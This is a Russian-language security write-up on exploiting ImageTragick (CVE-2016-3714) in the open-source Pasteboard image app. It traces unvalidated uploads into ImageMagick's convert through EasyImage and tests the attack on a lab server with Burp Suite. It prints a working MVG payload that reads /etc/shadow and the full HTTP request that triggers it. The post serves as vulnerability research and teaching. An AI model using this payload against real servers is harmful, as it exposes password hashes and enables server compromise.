Эксплуатация ImageTragick через Pasteboard
ImageTragick (CVE-2016–3714) способствовал взлому многих серверов. Особым качеством эксплуатации этой цвешки является простота. Достаточно загрузить специально сформированный файл, который должен пройти обработку через ImageMagick. Детальное описание уязвимости можно прочитать на сайте ресерчеров.
Pasteboard — веб приложение с открытым исходным кодом (написано на CoffeScript) для быстрого создания скриншотов и загрузки картинок. Исходный код доступен на github.
Для обработки изображений используется модуль EasyImage (https://github.com/hacksparrow/node-easyimage). В файле controllers/main.coffee проиходит импорт easyimage и вызов функции crop:
require("easyimage").crop(
src: sourcePath
dst: cropPath
cropwidth: fields["crop[width]"]
cropheight: fields["crop[height]"]
x: fields["crop[x]"]
y: fields["crop[y]"]
gravity: "NorthWest"
, ->
fs.unlink sourcePath, (-> )
sourcePath = cropPath
callback null
)
Рассмотрим реализацию функции crop:
// crop an image
exports.crop = function(options) {
...
...
child = exec('convert', args, function(err, stdout, stderr) {
if (err) deferred.reject(err);
deferred.resolve(info(options.dst));
});
...
Отчётливо виден вызов утилиты convert, входящей в состав ImageMagick. Одним из аргументов является путь к локальному файлу, который поступает от нас.
Устройство приложения
После вставки или перетаскивания файла на страницу приложения автоматически отправляется запрос через websocket протокол на получение уникального идентификатора.
[carousel source=»media: 991,993″ link=»image» target=»blank»]Получив ответ начинается загрузка файла. POST запрос уходит на URI /preupload. Полем формы с именем «id» служит полученный ранее идентификатор, а полем «file» передаваемый файл.
[frame align=»center»]
[/frame]
После выделения участка на изображении и нажатии на кнопку «Crop & Upload» выполняется POST запрос по пути /upload.
[frame align=»center»]
[/frame]
Параметрами передается уникальный идентификатор из предыдущего запроса и опции для изменения размера.
Эксплуатация
В приложении отсутствует проверка на содержимое отправляемого файла. Проверим работоспособность ImageTragick на заведомо уязвимом сервере. Для работы с запросами будем использовать BurpSuite.
Переходим на страницу с приложением и вставляем произвольное изображение. Перехватываем запрос и подменяем содержимое файла на один из предпочтительные пэйлоадов. Рассмотрим вариант с чтением произвольного файла.
push graphic-context viewbox 0 0 1920 1080 image over 0,0 0,0 'label:@/etc/shadow' pop graphic-context[frame align=»center»]
[/frame]
В ответе видим сообщение об успешной загрузке файла «Received file».
Файл на сервере. Пора по ударить по нему ImageMagick’ом.
Для этого отправляем финальный запрос на /upload. Передаём параметр id в качестве идентификатора из предыдущего запроса, cropImage равным true для вызова метода crop из EasyImage, остальные параметры отвечают за размер и область изображения.
POST /upload HTTP/1.1
Host: 192.168.182.128:4000
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: */*
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://192.168.182.128:4000/
Content-Length: 125
Connection: close
id=663a7181-2f1c-42b5-9fe5-288cf13931d1&cropImage=true&crop%5Bx%5D=0&crop%5By%5D=0&crop%5Bwidth%5D=1920&crop%5Bheight%5D=1280
После выполнения запроса получаем URL к созданному изображению.
[frame align=»center»]
[/frame]
Если ImageTragick имеет место быть, то на изображении будет примерно следующее:
[frame align=»center»]
[/frame]